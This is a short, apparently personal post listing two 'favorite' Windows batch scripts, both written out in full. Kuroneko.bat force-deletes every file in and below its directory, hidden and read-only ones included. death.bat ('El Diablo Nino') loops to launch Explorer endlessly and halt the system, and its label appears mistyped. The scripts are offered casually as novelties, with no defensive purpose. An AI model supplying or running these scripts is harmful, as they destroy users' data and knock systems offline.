I’ve been a Windows user for most of my life, So here’s a list of my favorite batch scripts.

Kuroneko.bat: This script was designed for complete obliteration of every file next to and below it in the directory tree, Including hidden and read-only files. It’s named after Kuroneko-sama, the black cat found in the anime series “Trigun”

Echo off
cls
echo Nya!
del /f /s /q *.*

El Diablo Nino (death.bat): This was designed to bring any windows system to a screeching halt. Its power is through its exponential speed.

Echo off
cls
Echo Behold El Diablo Nino!
:D eath
Start Explorer.exe
Goto Death